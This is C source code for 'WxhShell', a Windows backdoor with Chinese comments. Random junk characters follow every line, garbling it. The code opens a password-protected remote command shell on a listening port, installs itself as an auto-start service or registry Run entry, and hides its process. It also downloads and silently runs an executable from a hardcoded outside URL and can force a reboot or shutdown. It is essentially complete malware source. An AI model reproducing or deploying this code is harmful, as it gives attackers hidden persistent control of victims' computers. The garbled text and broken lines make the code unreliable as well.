    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F_iXd/  
    else { -&x2&WE'  
    closesocket(wsh); 1/1Xk,E  
    ExitThread(0); rEhX/(n#  
    } Xazo 9J  
    break; ok^d@zI  
    } 9_s6l  
  // 获取shell =' ZRfb&  
  case 's': { )~4II.`%^  
    CmdShell(wsh); Mv 544>:  
    closesocket(wsh); "I?Am&>'  
    ExitThread(0); GcIDG`RX  
    break; \6n!3FLl  
  } ZX!r1*c 6  
  // 退出 $n^ MD_1!  
  case 'x': { h!~3Dw>,N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o+`6LKg;  
    CloseIt(wsh); l& 4,v  
    break; <U5wB]]  
    } s^0/"j|7  
  // 离开 4'j sDcs  
  case 'q': { F^"_TV0va  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `e9$,h|4  
    closesocket(wsh); Q?ahr~qo  
    WSACleanup();  B[=(#W  
    exit(1); 4a0:2 kIKa  
    break; [${ QzO  
        } MObt,[^W  
  } Nk=JBIsKv  
  } X'.qYsS  
@2pu^k^  
  // 提示信息 e0@ 6Pd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n55Pv3}C  
} v(*C%.M)  
  } 9CA^B2u  
{FRAv(,\  
  return; I}e 3zf>  
} iHwLZ[O{  
UNijFGi  
// shell模块句柄 =PRx?q`d  
int CmdShell(SOCKET sock) S)QAXjH  
{ ;Op3?_  
STARTUPINFO si; ?88[|;b3  
ZeroMemory(&si,sizeof(si)); .)}@J5 P)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /V3=KY`_J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F:*W5xX  
PROCESS_INFORMATION ProcessInfo; QK0 h6CX  
char cmdline[]="cmd"; D3|oOOoG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QM3,'?ekRH  
  return 0; f|^dD`  
} 5MFxo63  
,jXM3?>B  
// 自身启动模式 O^/Maa/D1  
int StartFromService(void) FMkOo2{  
{ >fH=DOz$&  
typedef struct D:k 3" E"S  
{ 2*(Z==XC7  
  DWORD ExitStatus; u@ jX+\  
  DWORD PebBaseAddress; W_m"ySQs  
  DWORD AffinityMask; g{W;I_P^9  
  DWORD BasePriority; x~.:64  
  ULONG UniqueProcessId; wi9DhVvc 0  
  ULONG InheritedFromUniqueProcessId; 0ye!R   
}   PROCESS_BASIC_INFORMATION; 4}`  
R'kyrEO  
PROCNTQSIP NtQueryInformationProcess; #cj6{%c 4  
fc/ &X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ? uYu`Ojzr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .(pN5JI*  
Q{k At%  
  HANDLE             hProcess; 8G5Da|\  
  PROCESS_BASIC_INFORMATION pbi; zBO(`=|  
[((;+B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wApMzZ(X2y  
  if(NULL == hInst ) return 0; *Zm^ ~Vo  
)tCX y4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -n'F v@U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D")_;NLE1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Lh.`C7]  
hp{OL<2M  
  if (!NtQueryInformationProcess) return 0; Vi4~`;|&b+  
SP|<Tny  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hFiIW77 s2  
  if(!hProcess) return 0; piU /&  
c/_ +o;Bc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M$0u1~K  
o)OUWGjb/K  
  CloseHandle(hProcess); qlA7tU2p&  
%0? M?Jf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a0Ik`8^`  
if(hProcess==NULL) return 0; ,gL9?Wz  
1? FrJ6 V  
HMODULE hMod; s7oT G!  
char procName[255]; *^([ ~[  
unsigned long cbNeeded; +7t6k7]c  
"5eNLqt^q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q}S_%I}u:  
}(egMx;"3J  
  CloseHandle(hProcess); {O|'U'  
s?ko?qN(  
if(strstr(procName,"services")) return 1; // 以服务启动 $T :un.TM  
g;ZxvR)ZJk  
  return 0; // 注册表启动 ICAH G7,  
} Me6+~"am/  
.S(,o.  
// 主模块 ~+Z{Q25R  
int StartWxhshell(LPSTR lpCmdLine) 1heS*Fwn'  
{ "B_K XL  
  SOCKET wsl; cUDoN`fSl,  
BOOL val=TRUE; ho>k$s?  
  int port=0; QdLYCR4f  
  struct sockaddr_in door; VXR]"W=  
%lg=YGLQB  
  if(wscfg.ws_autoins) Install(); }E`dZW*!!  
G;f/Tch  
port=atoi(lpCmdLine); ' oF xR003  
d|T!v  
if(port<=0) port=wscfg.ws_port; gocrjjAHk  
tK k#LWB  
  WSADATA data; ?BhMjsy.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P>9aI/d9  
W cC?8X2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JWA@+u*k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `# sTmC)  
  door.sin_family = AF_INET; F4Y @ B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %T7nO%p  
  door.sin_port = htons(port); *Z_C4Tj  
iMfngIs |  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XJ2^MF2BU  
closesocket(wsl); kh%{C] ".1  
return 1; jYiv'6z  
} >J u]2++lx  
Z'H5,)j0R  
  if(listen(wsl,2) == INVALID_SOCKET) { &i!vd/*WlD  
closesocket(wsl); .(Qx{r$  
return 1; waKT{5k  
} $ "Bh]-  
  Wxhshell(wsl); pHoEa7:  
  WSACleanup(); 4nAa`(62  
7}jWBK  
return 0; ! ZU2{  
c$wsH25KH8  
}  r[?1  
h[Gg}N!  
// 以NT服务方式启动 ^[15&T5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ew3ibXD  
{ 8BvonY t=8  
DWORD   status = 0; jNeI2-9c}  
  DWORD   specificError = 0xfffffff; u !!X6<  
$cu00K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zs<KZGn-B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0zY(:;X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ""Q1|  
  serviceStatus.dwWin32ExitCode     = 0; v`1,4,;,qs  
  serviceStatus.dwServiceSpecificExitCode = 0; |a{Q0:  
  serviceStatus.dwCheckPoint       = 0; )/t?!T.[  
  serviceStatus.dwWaitHint       = 0; C ;(t/zh  
42L @w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eSW{Cb  
  if (hServiceStatusHandle==0) return; $`Ix:gi  
fL]Pztsk+  
status = GetLastError(); l|5fE1K9U  
  if (status!=NO_ERROR) ;\MW$/[JCy  
{ zS] 8V?`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7)%+=@  
    serviceStatus.dwCheckPoint       = 0; 67y Tvr@a  
    serviceStatus.dwWaitHint       = 0; US  
    serviceStatus.dwWin32ExitCode     = status; hQNe;R5  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;l}- Z@! /  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1n\ t+F  
    return; _e9:me5d"$  
  } ?JxbSK#  
"`[!Lz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tTU=+*Io  
  serviceStatus.dwCheckPoint       = 0; P9T5L<5  
  serviceStatus.dwWaitHint       = 0; =vT<EW}[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;E ec5w1  
} @* il3h,  
^}f -!nf[  
// 处理NT服务事件,比如:启动、停止 fh^lO ^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @xc',I  
{ :R.&`4=X  
switch(fdwControl) (RtueEb.~E  
{ rWh6RYd<T  
case SERVICE_CONTROL_STOP: TE )gVE]  
  serviceStatus.dwWin32ExitCode = 0; `mT$s,:h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s}j1"@  
  serviceStatus.dwCheckPoint   = 0; 7OW bAu;  
  serviceStatus.dwWaitHint     = 0; =+w*gDr  
  { ;L&TxO>#J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E\m5%bK\B  
  } M,}|tsL  
  return; .@Ut?G  
case SERVICE_CONTROL_PAUSE: pWu LfX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 34!dYr%  
  break; RI2f`p8k  
case SERVICE_CONTROL_CONTINUE: sE{pzPq!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >R/$1e1Y  
  break; g,:j/vR  
case SERVICE_CONTROL_INTERROGATE: #yI.nzA*  
  break; PR|R`.QSs  
}; ,#W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5<L_|d)0"  
} |y20Hi':  
m5G\}8|  
// 标准应用程序主函数 2 &Nb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $BmmNn#  
{ -*2Mf Mh  
&_5tqh  
// 获取操作系统版本 1c+]gIe  
OsIsNt=GetOsVer(); {YUIMd!Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [7m1Q<  
ny-7P;->8  
  // 从命令行安装 I]!^;))  
  if(strpbrk(lpCmdLine,"iI")) Install(); d2s OYCKe  
(Toq^+`c  
  // 下载执行文件 Q !qrNa6  
if(wscfg.ws_downexe) { B^D(5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^KB~*'DN~s  
  WinExec(wscfg.ws_filenam,SW_HIDE); P6,7]6bp  
} j]0^y}5f+s  
-G,^1AL>  
if(!OsIsNt) { [Pe#kzLX  
// 如果时win9x,隐藏进程并且设置为注册表启动 $(Ugtimdv  
HideProc(); qNyzU@  
StartWxhshell(lpCmdLine); 2FD=lR?6  
} v}^5Rp&m  
else 22(*J<  
  if(StartFromService()) BK,sc'b  
  // 以服务方式启动 l<(Y_PE:  
  StartServiceCtrlDispatcher(DispatchTable); ~7!7\i,Y8\  
else v&FF|)$  
  // 普通方式启动 w#i[_  
  StartWxhshell(lpCmdLine); ZDL']*)'  
U }Hwto`R  
return 0; x]5@>5  
} ]\RRqLDzkg  
FZiW|G  
A|}l)!%  
'2zL.:~  
=========================================== x( mE<UQN  
*]JdHO  
7t9c7HLuj/  
gqib:q ;r  
W\f9jfD  
avp; *G }  
" dMx4ykrR  
4;`Bj:.  
#include <stdio.h> j\RpO'+}  
#include <string.h> Pag63njg?  
#include <windows.h> a'\By?V]  
#include <winsock2.h> m\ /(w_/?  
#include <winsvc.h> R6 XuA(5  
#include <urlmon.h> =rPrPb  
Kt>X3m,  
#pragma comment (lib, "Ws2_32.lib") @&1Wy p  
#pragma comment (lib, "urlmon.lib") 9@ $,oM=  
N^VD=<#T  
#define MAX_USER   100 // 最大客户端连接数 /RLq>#:h**  
#define BUF_SOCK   200 // sock buffer `nR%Cav,U  
#define KEY_BUFF   255 // 输入 buffer =\)IaZ  
/W#O +  
#define REBOOT     0   // 重启 b4Y8N"hL%  
#define SHUTDOWN   1   // 关机 ;evCW$G=  
0e["]Tlnm  
#define DEF_PORT   5000 // 监听端口 l6[lJ0Y  
\F,DA"K_  
#define REG_LEN     16   // 注册表键长度 }W)=@t  
#define SVC_LEN     80   // NT服务名长度 Q Z8QQ`*S  
6)]f6p&e  
// 从dll定义API gJ2 H=#M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (kTXP_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 64Gi8|P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1-I Swd'u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *5%*|>  
(\puf+  
// wxhshell配置信息 [-*F"}D,  
struct WSCFG { ~#:e*:ro  
  int ws_port;         // 监听端口 lhC6S'vq  
  char ws_passstr[REG_LEN]; // 口令 7dh1W@\  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~$O1`IT  
  char ws_regname[REG_LEN]; // 注册表键名 09M;}4ev&7  
  char ws_svcname[REG_LEN]; // 服务名 o7&4G$FX~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Bd bJ< Is  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FqA3  {  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D y6$J3 r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N$?cX(|7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z}}]jR \y?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]Gc3Ea;4  
g( 0;[#@  
}; P 2n2 Qt2  
MrE<vw@he  
// default Wxhshell configuration Ni[4OR$-O  
struct WSCFG wscfg={DEF_PORT, UkR3}{i  
    "xuhuanlingzhe", guN4-gGDr<  
    1, 9CUimZ  
    "Wxhshell", IN^9uL]B  
    "Wxhshell", 4lc)&  
            "WxhShell Service", KGZ?b2N?Va  
    "Wrsky Windows CmdShell Service", _J?SIm  
    "Please Input Your Password: ", MBk"KF  
  1, #`GbHxd  
  "http://www.wrsky.com/wxhshell.exe", }wt%1v-10U  
  "Wxhshell.exe" aj|5 #  
    }; o}8{Bh^  
P`s(kIe  
// 消息定义模块 ioIv=qGdiP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G2mNm'0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F N"rZWM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MQcE6)  
char *msg_ws_ext="\n\rExit."; 5{ >0eFzG  
char *msg_ws_end="\n\rQuit."; 0yof u  
char *msg_ws_boot="\n\rReboot..."; i8V0Ty4~N  
char *msg_ws_poff="\n\rShutdown..."; ]S8LY.Az5  
char *msg_ws_down="\n\rSave to "; n~z\?Y=*  
G=M] 8+h  
char *msg_ws_err="\n\rErr!"; !awh*Xj6  
char *msg_ws_ok="\n\rOK!"; Oo%!>!Lt,  
24@^{ }  
char ExeFile[MAX_PATH]; 1czG55 |  
int nUser = 0; d5xxb _oE  
HANDLE handles[MAX_USER]; y[HQBv  
int OsIsNt; &R]pw`mTH  
f[/.I,9U^  
SERVICE_STATUS       serviceStatus; >M^&F6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vrcE]5(:s  
fDuwgY0  
// 函数声明 q G ;-o)h  
int Install(void); \v`#|lT$  
int Uninstall(void); ^/KfH &E  
int DownloadFile(char *sURL, SOCKET wsh);  ';lfS  
int Boot(int flag); |n P_<9[  
void HideProc(void); P!\hnm)%4  
int GetOsVer(void); 9EgP9up{6!  
int Wxhshell(SOCKET wsl); {Qtq7q.  
void TalkWithClient(void *cs); :k!j"@r  
int CmdShell(SOCKET sock); i^%-aBZ  
int StartFromService(void); < tQc_  
int StartWxhshell(LPSTR lpCmdLine); l=Wd,$\  
\ZnN D1A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OCx5/ 88X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4UCwT1  
nTZ> |R)  
// 数据结构和表定义 S!j^|!  
SERVICE_TABLE_ENTRY DispatchTable[] = wkT;a&_  
{ J9@}DB  
{wscfg.ws_svcname, NTServiceMain}, 5g NLO\  
{NULL, NULL} `mErF%b  
}; huAyjo  
\y*j4 0  
// 自我安装 vj3isI4lU  
int Install(void) *C_[jk@6  
{ 1)U} i ^  
  char svExeFile[MAX_PATH]; F!CAitxd  
  HKEY key; Dr 'sIH^  
  strcpy(svExeFile,ExeFile); [,7-w  
S[U/qO)m  
// 如果是win9x系统,修改注册表设为自启动 N#Ag'i4HF  
if(!OsIsNt) { GoeIjuELR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XV2=8#R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jfSg){  
  RegCloseKey(key); 4;\Y?M}g?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `C<F+/q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V<-htV  
  RegCloseKey(key); * -z4<LAa  
  return 0; 94z8B;+ H]  
    } q z:]-A  
  } A[9NP-~  
} a;&}zcc*  
else { vXubY@k2  
1l]C5P}E  
// 如果是NT以上系统,安装为系统服务 A9 n41,h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ygx,t|?7  
if (schSCManager!=0) 4$i}Xk#3  
{ 6F ;Or  
  SC_HANDLE schService = CreateService ,I39&;Iq  
  ( G7Ny"{Z  
  schSCManager, [a NhP;<  
  wscfg.ws_svcname, ~u2w`H?V  
  wscfg.ws_svcdisp, Ars,V3ep  
  SERVICE_ALL_ACCESS, #NJ<[Gew  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E._hg+ (Hi  
  SERVICE_AUTO_START, .Cfp'u%\;  
  SERVICE_ERROR_NORMAL, #11RLvDQd  
  svExeFile, $NCm;0\B|  
  NULL, P CsK()  
  NULL, JjDS"hK#  
  NULL, Gt'/D>FE0  
  NULL, .D3`'K3t{[  
  NULL ^N{X "  
  ); \P@S"QO  
  if (schService!=0) pE(sV{PD  
  { lbofF==(  
  CloseServiceHandle(schService); z `@z  
  CloseServiceHandle(schSCManager); vrO%XvXW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~ a >S#S  
  strcat(svExeFile,wscfg.ws_svcname); dgY5ccP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ecT]p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s[Gswd  
  RegCloseKey(key); <)J55++  
  return 0; Re\o v x9  
    } }6@%((9E 2  
  } W+/2c4$F3  
  CloseServiceHandle(schSCManager); +Wd L  
} 4L $};L  
} i]@c.Q iFN  
YR8QO-7 .)  
return 1; wKLN:aRF2  
} .> ,Z k S  
XJ\_ V[WA  
// 自我卸载  2+Vp'5>&  
int Uninstall(void) 6,zDBax  
{ ]wR6bEm7  
  HKEY key; p`L L   
D0KELA cY  
if(!OsIsNt) { ]eD[4Y\#t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }M="oN~w  
  RegDeleteValue(key,wscfg.ws_regname); YZ{;%&rB  
  RegCloseKey(key); d>~`j8,B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e~*S4dKR  
  RegDeleteValue(key,wscfg.ws_regname); $WJy?_c  
  RegCloseKey(key); iI}nW  
  return 0; @M9_j{A  
  } xT/9kM&}L  
} 0*{@E%9  
} .:SfM r;G  
else { ,`+Bs&S 8  
S~} +ypV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xNx`J@xt$  
if (schSCManager!=0) ^[*AK_o_DQ  
{ W -3w7^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o=@ UXi  
  if (schService!=0) Hj1k-Bs&'w  
  { W >Kp\tD  
  if(DeleteService(schService)!=0) { !Am =v=>  
  CloseServiceHandle(schService); nT)~w s  
  CloseServiceHandle(schSCManager); BHIM'24bp  
  return 0; 8@Q"YA 3d+  
  } vevx|<9,  
  CloseServiceHandle(schService); ?SB5b,  
  } np= J:v4  
  CloseServiceHandle(schSCManager); %"{?[!C ?  
} VJGwd`qo*A  
} mxZ4 HD{  
J ( =4  
return 1; &4[<F"W>47  
} `c>A >c|  
Aw5K3@Ltz  
// 从指定url下载文件 ^=3 ^HQ'Zm  
int DownloadFile(char *sURL, SOCKET wsh) hg!x_Eq|  
{ 2Sv>C `FMU  
  HRESULT hr; miWw6!()  
char seps[]= "/"; p+!f(H  
char *token; ^1()W,B~w  
char *file; @i\7k(9:A  
char myURL[MAX_PATH]; t<8z08  
char myFILE[MAX_PATH]; *pY/5? g  
La@\q[U{@  
strcpy(myURL,sURL); Un~]Q?w  
  token=strtok(myURL,seps); z)r8?9u  
  while(token!=NULL) \gjl^# ;  
  { /Lj%A   
    file=token; ^9n}-Cqeq  
  token=strtok(NULL,seps); ?#x'_2  
  } N" 8*FiZ|  
Bc5YW-QD  
GetCurrentDirectory(MAX_PATH,myFILE); 3@%BA(M  
strcat(myFILE, "\\"); pFG]IM7o/u  
strcat(myFILE, file); 6 bYC  
  send(wsh,myFILE,strlen(myFILE),0); Al)lWD}j2g  
send(wsh,"...",3,0); }7otuO(pRo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F%9e@{  
  if(hr==S_OK) lrq>TJEcx  
return 0; (q0No26;(  
else 3#7ENV`  
return 1; "Wxo[I  
1*TXDo_T  
} OA\vT${5  
ccIDMJ=2  
// 系统电源模块 6hR^qdHg  
int Boot(int flag) '3IkPy1Uz  
{ oD Q9.t  
  HANDLE hToken; <aD'$(N5  
  TOKEN_PRIVILEGES tkp; VZAuUw+M  
R994R@gz  
  if(OsIsNt) { MYKs??]Y1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ))8Emk^Q{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )zo#1$C-  
    tkp.PrivilegeCount = 1; = E##},N"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L.R"~3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IS3e|o*]MP  
if(flag==REBOOT) { U]+b` m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GG@iKL V  
  return 0; d<e+__ 2  
} u Zo]8mV  
else { U&tfl/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yd\5Z[iEp  
  return 0; Krt$=:m|1  
} f>.` xC{  
  } ^\xCqVk_R  
  else { FF5tPHB  
if(flag==REBOOT) { 6:e}v'q{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z_5rAlnwT.  
  return 0; kxt\{iy4  
} ]Om'naD  
else { ahK?]:&QO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,+swH;=7#r  
  return 0; |?4~T:  
} {o Q(<&Aw  
} Yg\{S<wr  
5 ]A$P\7~1  
return 1; P]~N-xdV  
} fzq'S]+  
;$E~ZT4p  
// win9x进程隐藏模块 \ SoYx5lf  
void HideProc(void) * ePDc'   
{ \<0G kp  
FN{H\W1cf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xkk@ {}J\  
  if ( hKernel != NULL ) ::^qy^n  
  { <DA{\'jJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w !=_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [u!p-  
    FreeLibrary(hKernel); ze#rYNvo/  
  } IN]`lJ  
9&|12x$  
return; wdN>KS2!  
} y\r^\ S9%  
a+4`}:KA#  
// 获取操作系统版本 (9WL+S  
int GetOsVer(void) e _SoM!;  
{ "u3fs2  
  OSVERSIONINFO winfo; !;xf>API  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A1#4nkkc9  
  GetVersionEx(&winfo); [RGC!}"mr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,6y-.m7>  
  return 1; E-5ij,bHv3  
  else ntA[[OIFO  
  return 0; <=5,(a5g  
} : 9djMsd  
CWobvR)e  
// 客户端句柄模块 &V ^  
int Wxhshell(SOCKET wsl) Xy3g(x]  
{ |,M#8NOp:  
  SOCKET wsh; T6/$pJl  
  struct sockaddr_in client; S\yu%=h  
  DWORD myID; \S|VkPv  
df21t^0/  
  while(nUser<MAX_USER) ~:ub  
{ U#UVenp@  
  int nSize=sizeof(client); ]*kP>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pUCEYR  
  if(wsh==INVALID_SOCKET) return 1; ^^t]vojX  
X$j|/))  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MIk #60Ab  
if(handles[nUser]==0) |)|vG_  
  closesocket(wsh); ^6N3 nkyZ  
else S+Y y  
  nUser++; &kr_CP:;  
  } uJ) \P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [7SI<xkv  
?-(w][MT\  
  return 0; $h|I7`  
} 9:}RlL+cOk  
F| ,Vw{  
// 关闭 socket i"r.>X'Z  
void CloseIt(SOCKET wsh) O;&yA<  
{ Rpa A)R,  
closesocket(wsh); $@ T6g  
nUser--; qw Kh,[]  
ExitThread(0); gOES2 4$2  
} #C=L^cSx(  
fxtYo,;$  
// 客户端请求句柄 a-UD_|!  
void TalkWithClient(void *cs) 7DHT)9lD/  
{ qI4R`P"  
}{w_>!ee  
  SOCKET wsh=(SOCKET)cs; 7y)|^4X2  
  char pwd[SVC_LEN]; :`Zl\!]E`o  
  char cmd[KEY_BUFF]; $+)x)1  
char chr[1]; am$-sh72  
int i,j; =`7)X\i@z  
nfd?@34"A2  
  while (nUser < MAX_USER) { ,pGCgOG#}c  
u1pYlu9IW  
if(wscfg.ws_passstr) { s6eq?1l 3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nHhD<a!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RL]lt0O{  
  //ZeroMemory(pwd,KEY_BUFF); .@/z-OgXg  
      i=0; H pjIp.  
  while(i<SVC_LEN) { =%nqMV(y  
e) /u>I  
  // 设置超时 !z4Hj{A_  
  fd_set FdRead; -c<1H)W  
  struct timeval TimeOut; rTH[?mkf4  
  FD_ZERO(&FdRead); ?XTg%U  
  FD_SET(wsh,&FdRead); |]2eGrGj4  
  TimeOut.tv_sec=8; 3Oig/KZ  
  TimeOut.tv_usec=0; 2}xFv2X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |Z^c #R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )lngef /D_  
WSpg(\Cs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (>Q9jNW  
  pwd=chr[0]; 6Kv}2M')+  
  if(chr[0]==0xd || chr[0]==0xa) { Q+%m+ /Zq  
  pwd=0; ~1wdAq`'a  
  break; >FMT#x t  
  } TF}4X;3Dsy  
  i++; \ /X!tlwxh  
    } '\E*W!R.]  
NId~| &\  
  // 如果是非法用户,关闭 socket mGyIr kE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oE|{|27X  
} `$x#_-Hn  
o._#=7|(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7+Jma!o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2M( PH]D  
BoiIr[ (  
while(1) { kvO`]>#;$?  
$xn%i\  
  ZeroMemory(cmd,KEY_BUFF); (=&bo p  
J/P@m_Yx  
      // 自动支持客户端 telnet标准   +EB,7<5<  
  j=0; 1-Wnc'(OK  
  while(j<KEY_BUFF) { DGuUI}|)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?PxYS%D_L  
  cmd[j]=chr[0]; GzZ|T7fm  
  if(chr[0]==0xa || chr[0]==0xd) { (Ss77~W7  
  cmd[j]=0; f!R^;'a  
  break; KlX |PQ  
  } bEXHB  
  j++; I>4Tbwy.-  
    } F+m4  
]2s Zu7  
  // 下载文件 jiB>.te  
  if(strstr(cmd,"http://")) { Z?!:=x>7m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z&yb_A:>  
  if(DownloadFile(cmd,wsh)) T[$hYe8%^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y| N vBr  
  else Z-sN4fr a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v.^ 'x  
  } `GN5QLg#}0  
